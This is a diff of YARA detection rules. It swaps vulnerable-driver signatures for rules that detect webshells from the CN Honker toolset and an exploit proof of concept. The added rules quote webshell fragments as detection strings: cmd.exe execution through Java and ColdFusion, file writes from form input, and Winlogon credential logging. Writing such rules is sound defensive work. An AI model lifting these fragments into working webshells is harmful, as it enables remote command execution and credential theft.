-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L517-L537"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "133e542842656197c5d22429bd56d57aa33c9522897fdf29853a6d321033c743"
-		logic_hash = "8294e9a9d7bf9e4471d494ca78db936c69b2b2ee495207cde79aeabff9910463"
-		score = 40
+		reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_nansh0u.yar#L120-L136"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b470e9f5716130d810e519abb8d4e1058b5a806d59ddae53a40cac5597fbb874"
+		score = 80
 		quality = 85
 		tags = "FILE"
+		hash1 = "01c3882e8141a25abe37bb826ab115c52fd3d109c4a1b898c0c78cee8dac94b4"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050006e00500020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e0033 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004900470041002d004200590054004500200053006f0066007400770061007200650020006400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 }
+		$x1 = "\\Debug\\poc_cve_20" ascii
+		$x2 = "\\Release\\poc_cve_20" ascii
+		$x3 = "alloc fake fail: %x!" fullword ascii
+		$x4 = "Allocate fake tagWnd fail!" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <400KB and 1 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_0D37 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_PHP_Php5 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
-		author = "Florian Roth"
-		id = "46f31bf7-9e9f-5fe2-95cc-1b0be823c41b"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file php5.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ee063c4c-af06-520f-acfe-fba758b84d3c"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L540-L571"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0d3790af5f8e5c945410929e31d06144a471ac82f828afe89a4758a5bbeb7f9f"
-		hash = "523d1d43e896077f32cd9acaa8e85b513bfb7b013a625e56f0d4e9675d9822ba"
-		hash = "df0dcfb3971829af79629efd036b8e1c6e2127481b3644ccc6e2ddd387489a15"
-		hash = "9a523854fe84f15efc1635d7f5d3e71812c45d6a4d2c99c29fdc4b4d9c84954c"
-		hash = "8c95d28270a4a314299cf50f05dcbe63033b2a555195d2ad2f678e09e00393e6"
-		hash = "1ee59eb28688e73d10838c66e0d8e011c8df45b6b43a4ac5d0b75795ca3eb512"
-		hash = "5b3705b47dc15f2b61ca3821b883b9cd114d83fcc3344d11eb1d3df495d75abe"
-		hash = "67734c7c0130dd66c964f76965f09a2290da4b14c94412c0056046e700654bdc"
-		hash = "80eeb8c2890f3535ed14f5881baf2f2226e6763be099d09fb8aadaba5b4474c1"
-		hash = "19696fb0db3fcae22f705ae1eb1e9f1151c823f3ff5d8857e90f2a4a6fdc5758"
-		hash = "e58bbf3251906ff722aa63415bf169618e78be85cb92c8263d3715c260491e90"
-		hash = "11d258e05b850dcc9ecfacccc9486e54bd928aaa3d5e9942696c323fdbd3481b"
-		logic_hash = "b1f0e78bd40da89202a98d2a74d47af7f28092832dc1b063f1d4c4ef04e1cef1"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L8-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0fd91b6ad400a857a6a65c8132c39e6a16712f19"
+		logic_hash = "e882f115a67fe31ece1a81e1a2770b46370a92ac3aa23e348a12cdb5735e8a0e"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310030002000430050005500490044 }
+		$s0 = "else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user" ascii
+		$s20 = "echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump').\"<b>\".$" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x3f3c and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Asustek_Driversys_Ectool_927C : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Test3693 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - driver7-x86-withoutdbg.sys"
-		author = "Florian Roth"
-		id = "4513216a-2654-5743-8550-01e82743f67a"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file test3693.war"
+		author = "Florian Roth (Nextron Systems)"
+		id = "58fe4445-b2e1-5d5f-8c46-39c6ae78f845"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L574-L596"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "927c2a580d51a598177fa54c65e9d2610f5f212f1b6cb2fbf2740b64368f010a"
-		hash = "42851a01469ba97cdc38939b10cf9ea13237aa1f6c37b1ac84904c5a12a81fa0"
-		hash = "771a8d05f1af6214e0ef0886662be500ee910ab99f0154227067fddcfe08a3dd"
-		logic_hash = "edb698ba1d60e24a41c683a8c0a36548d01c4abd09f5a6cd2358ccf0d8e234ba"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L25-L40"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "246d629ae3ad980b5bfe7e941fe90b855155dbfc"
+		logic_hash = "a10618d54fb7adbbd89a10f2e1ac067ccd1832140bcaf3b92394ebe7323f2d1e"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400680065002000640072006900760065007200200066006f007200200074006800650020004500430074006f006f006c0020006400720069007600650072002d0062006100730065006400200074006f006f006c0073 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300740065006b }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0035002e0030002e0032 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0035 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0044007200690076006500720037002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0045004300200074006f006f006c }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0044007200690076006500720037 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020 }
+		$s0 = "Process p=Runtime.getRuntime().exec(\"cmd /c \"+strCmd);" fullword ascii
+		$s2 = "http://www.topronet.com </font>\",\" <font color=red> Thanks for your support - " ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x4b50 and filesize <50KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_CF4B : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Mycode12 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
-		author = "Florian Roth"
-		id = "61555f9e-6caf-5c8c-b4ee-01046e04f744"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file mycode12.cfm"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2ce7368c-7565-5b32-94d1-c87023404c5b"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L599-L619"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cf4b5fa853ce809f1924df3a3ae3c4e191878c4ea5248d8785dc7e51807a512b"
-		logic_hash = "50f8cbf8834910e3560b3d092ae897977db2c9cb26107219e1604b2c26bba2ae"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L42-L57"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "64be8760be5ab5c2dcf829e3f87d3e50b1922f17"
+		logic_hash = "94cb0e414634af753db9ec0c63a3a34b4f9104e93e01d67cebab7b3a0c471198"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200066006f00720020004d005300490043006c006f0063006b005f00430043 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s1 = "<cfexecute name=\"cmd.exe\"" fullword ascii
+		$s2 = "<cfoutput>#cmd#</cfoutput>" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <4KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_D783 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Offlibrary : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "12d08eab-49f0-5d40-bd2d-1a4834deaef1"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file offlibrary.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c01f7c8b-a6bd-5094-9574-8cc853698607"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L622-L642"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d783ace822f8fe4e25d5387e5dd249cb72e62f62079023216dc436f1853a150f"
-		logic_hash = "f92c013f7c10a9c63b2f630b198d9ef360e944182b9760e8c268dc7145f82e95"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L59-L74"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "eb5275f99211106ae10a23b7e565d208a94c402b"
+		logic_hash = "ffec24bedfe0794e8f92da5067c41932339e61ec23d71a67ed4b634434cd10d6"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00350030002e0030002e0031003000330033 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00350030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000320020002d002000320030003100320020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "';$i=$g->query(\"SELECT SUBSTRING_INDEX(CURRENT_USER, '@', 1) AS User, SUBSTRING" ascii
+		$s12 = "if(jushRoot){var script=document.createElement('script');script.src=jushRoot+'ju" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		filesize <1005KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avastsoftware_Aswarpot_Avastantivirus_4B52 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Cfm_Xl : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys"
-		author = "Florian Roth"
-		id = "06a605d6-893e-5ee7-a3d7-bfb128363b81"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file xl.cfm"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5c8d1301-fe20-50e0-86ac-99a220cd4be1"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L645-L665"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4b5229b3250c8c08b98cb710d6c056144271de099a57ae09f5d2097fc41bd4f1"
-		logic_hash = "c1df652b20d7bbea94d71bdef159c26b59180b736859bb4a16d03880a99d2841"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L76-L91"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "49c3d16ee970945367a7d6ae86b7ade7cb3b5447"
+		logic_hash = "b6683a24ad58a9444ec91f13e7da5db3e3e768afded09a23e1bbd0a0c23cf6b9"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320031002e0031002e003100380037002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320031002e0031002e003100380037002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003100200041005600410053005400200053006f006600740077006100720065 }
+		$s0 = "<input name=\"DESTINATION\" value=\"" ascii
+		$s1 = "<CFFILE ACTION=\"Write\" FILE=\"#Form.path#\" OUTPUT=\"#Form.cmd#\">" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		uint16(0)==0x433c and filesize <13KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Biostargroup_Iodriver_Biostariodriverfle_42E1 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_PHP_Linux : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - BS_I2cIo.sys"
-		author = "Florian Roth"
-		id = "eb5f5339-f11a-5502-8feb-4bfbd4698a31"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file linux.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8d94f1c5-2139-5d0d-8af9-9c30a0359910"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L668-L690"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "42e170a7ab1d2c160d60abfc906872f9cfd0c2ee169ed76f6acb3f83b3eeefdb"
-		hash = "f929bead59e9424ab90427b379dcdd63fbfe0c4fb5e1792e3a1685541cd5ec65"
-		hash = "55fee54c0d0d873724864dc0b2a10b38b7f40300ee9cae4d9baaf8a202c4049a"
-		logic_hash = "cfdf34c33d78aebf592047ecc9f15b50d6c33c8d59e5d7684e9a862f440fa1ce"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L93-L108"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "78339abb4e2bb00fe8a012a0a5b7ffce305f4e06"
+		logic_hash = "2c6278acd123e0d41ed4f0f8f0da27d5de1ad56efb8102c9eae442838a0416d0"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049002f004f00200049006e00740065007200660061006300650020006400720069007600650072002000660069006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00420049004f0053005400410052002000470072006f00750070 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200031002c00200030002c00200030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200031002c00200030002c00200030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049002f004f0020006400720069007600650072 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00420049004f005300540041005200200049002f004f002000640072006900760065007200200066006c0065 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00420053005f0049003200630049006f002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000300032002d0032003000300036002000420049004f0053005400410052002000470072006f00750070 }
+		$s0 = "<form name=form1 action=exploit.php method=post>" fullword ascii
+		$s1 = "<title>Changing CHMOD Permissions Exploit " fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x696c and filesize <6KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Mitactechnologycorporation_Mtcbsvsys_Mitacsystemserviceprovider_C9CF : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Interception3389_Get : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - mtcBSv64.sys"
-		author = "Florian Roth"
-		id = "36fcbeca-f19e-54b8-9687-121bd9809e9d"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file get.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b17a793f-ffb7-5cdc-ba21-b0e2f0d14490"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L693-L713"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c9cf1d627078f63a36bbde364cd0d5f2be1714124d186c06db5bcdf549a109f8"
-		logic_hash = "402e0a50c61722ffbbf6778df2483750fae17d6a18d8b247d65df8302d725c14"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L110-L126"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ceb6306f6379c2c1634b5058e1894b43abcf0296"
+		logic_hash = "649e611c9d8948e60811af4209d737b3e797e6b42beba42439541ae543b062d6"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0069005400410043002000530079007300740065006d00200053006500720076006900630065002000500072006f00760069006400650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900540041004300200054006500630068006e006f006c006f0067007900200043006f00720070006f0072006100740069006f006e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320031002c00200031002c00200034002c00200030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320031002c00200031002c00200034002c00200030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006d0074006300420053007600360034002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d0069005400410043002000530079007300740065006d00200053006500720076006900630065002000500072006f00760069006400650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006d0074006300420053007600360034002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000370020004d006900540041004300200054006500630068006e006f006c006f0067007900200043006f00720070006f0072006100740069006f006e }
+		$s0 = "userip = Request.ServerVariables(\"HTTP_X_FORWARDED_FOR\")" fullword ascii
+		$s1 = "file.writeline  szTime + \" HostName:\" + szhostname + \" IP:\" + userip+\":\"+n" ascii
+		$s3 = "set file=fs.OpenTextFile(server.MapPath(\"WinlogonHack.txt\"),8,True)" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <3KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_5F65 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Nc_1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
-		author = "Florian Roth"
-		id = "7b5d5036-d7ec-5722-a18c-9ccaeea8088e"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file 1.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "fe83df79-f7cb-50b8-bb34-9bfc5fbe3de2"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L716-L736"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5f6547e9823f94c5b94af1fb69a967c4902f72b6e0c783804835e6ce27f887b0"
-		logic_hash = "66fa3b5461eb9cf7c9f0eba976ac1546338ac11b937cc9753340042a0dc49066"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L128-L143"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "51d83961171db000fe4476f36d703ef3de409676"
+		logic_hash = "80ea8f16d943a3775fe9999131272af9e7f1af60d413109e58ecdef036484760"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0032002e003100330020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0032002e00310033 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003700200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
